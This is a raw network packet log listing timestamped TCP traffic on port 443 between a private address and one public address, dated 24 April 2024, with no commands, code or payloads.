Apr 24, 2024 08:22:04.625277996 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.625305891 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.625490904 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.625499010 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.625957966 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.625962973 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.626184940 CEST	49804	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.626195908 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.626234055 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.626252890 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.626388073 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.626439095 CEST	49805	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.626492023 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.626550913 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.626687050 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.626740932 CEST	49805	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.626816034 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.627088070 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.627145052 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.627326965 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.627382994 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.627496004 CEST	49804	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.627578020 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.627790928 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.627851009 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.627962112 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.627962112 CEST	49805	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.627969027 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.627970934 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.628130913 CEST	49804	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.628299952 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.628309011 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.641819000 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.642026901 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.642055988 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.645247936 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.645308018 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.645685911 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.645766020 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.645802021 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.676130056 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.680221081 CEST	49805	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.680221081 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.680265903 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.685789108 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.685987949 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.686001062 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.687442064 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.687505007 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.687807083 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.687882900 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.687921047 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.692116022 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.696186066 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.696196079 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.727823019 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.727834940 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.743083000 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.773725033 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.271461010 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.271770954 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.271850109 CEST	49800	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.272789955 CEST	49800	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.272830009 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.278373003 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.278420925 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.278448105 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.278506994 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.278531075 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.278572083 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.278593063 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.278685093 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.278724909 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.278728962 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.278805971 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.278856039 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.280590057 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.280607939 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.351830959 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.351902008 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.351994991 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.352044106 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.352083921 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.352117062 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.352144957 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.352159977 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.352649927 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.352694988 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.352708101 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.352715015 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.352761030 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.357232094 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.357280016 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.357312918 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.357362986 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.357389927 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.357441902 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.357475042 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.357861996 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.357978106 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.358033895 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.358037949 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.358051062 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.358092070 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.358550072 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.358587027 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.358598948 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.358606100 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.358659983 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.362891912 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.362998962 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.363028049 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.363064051 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.363099098 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.363171101 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.363182068 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.363408089 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.363441944 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.363452911 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.363462925 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.363498926 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.363506079 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.364172935 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.364232063 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.364248991 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.397353888 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.397433043 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.397488117 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.398402929 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.398561001 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.398809910 CEST	49804	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.403053999 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.403091908 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.405137062 CEST	49804	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.405153990 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.406528950 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.406601906 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.406642914 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.406692028 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.406713963 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.406764984 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.406810999 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.409344912 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.409354925 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.415229082 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.488050938 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.488217115 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.488250971 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.488274097 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.488298893 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.488394022 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.488766909 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.488888979 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.488939047 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.488946915 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.489037037 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.489343882 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.489357948 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.489412069 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.489442110 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.489486933 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.489600897 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.489700079 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.489706039 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.489741087 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.489794970 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.489804983 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.489813089 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490015984 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490205050 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490257025 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.490262985 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490328074 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490345001 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490386009 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.490442991 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490499020 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.490514040 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490638018 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490740061 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490788937 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.490793943 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.490799904 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490806103 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490868092 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490963936 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.490971088 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.490993977 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491017103 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491043091 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.491050005 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491347075 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491396904 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.491401911 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491401911 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.491415024 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491669893 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491700888 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491739035 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491744995 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.491751909 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491780043 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.491787910 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.491791010 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491868973 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.491967916 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492008924 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.492014885 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492292881 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492312908 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492336988 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.492336988 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492343903 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.492352009 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492356062 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492386103 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492407084 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.492410898 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492434978 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.492458105 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.492465019 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492546082 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492573023 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492593050 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492613077 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.492620945 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.492638111 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.493377924 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.494724035 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.494729996 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.495229006 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.495259047 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.503616095 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.503657103 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.503846884 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.504280090 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.504297018 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.545255899 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.545267105 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.619298935 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.619416952 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.619505882 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.619556904 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.619579077 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.619894028 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.619939089 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.620059967 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.620111942 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.620122910 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.620171070 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.620604038 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.620707989 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.620754004 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.621189117 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.621201038 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.621208906 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.621287107 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.623132944 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.623393059 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.623411894 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.623450041 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.623459101 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.623549938 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.623905897 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.623948097 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.623974085 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.624016047 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.624023914 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.624233961 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.624763012 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.624849081 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.624919891 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.624926090 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.625387907 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.625439882 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.625446081 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.625482082 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.626288891 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.626338959 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.627038002 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.627094030 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.627955914 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.628025055 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.628031015 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.628046989 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.628091097 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.628526926 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.628542900 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.644985914 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.645009041 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.645221949 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.645668983 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.645700932 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.645895004 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.646071911 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.646084070 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.646588087 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.646606922 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.719094038 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.719186068 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.719285965 CEST	49805	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.720729113 CEST	49805	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.720750093 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.841767073 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.888531923 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.926616907 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.926630974 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.928149939 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.939284086 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.939551115 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.939583063 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.977248907 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.977562904 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.977586031 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.977866888 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.978125095 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.978143930 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.978499889 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.978903055 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.978960991 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.979070902 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.979079008 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.979163885 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.979690075 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.979772091 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.979815960 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:05.984114885 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:05.992182970 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.020118952 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.020119905 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.024183035 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.024214029 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.024235964 CEST	443	49813	172.67.143.205	192.168.2.6
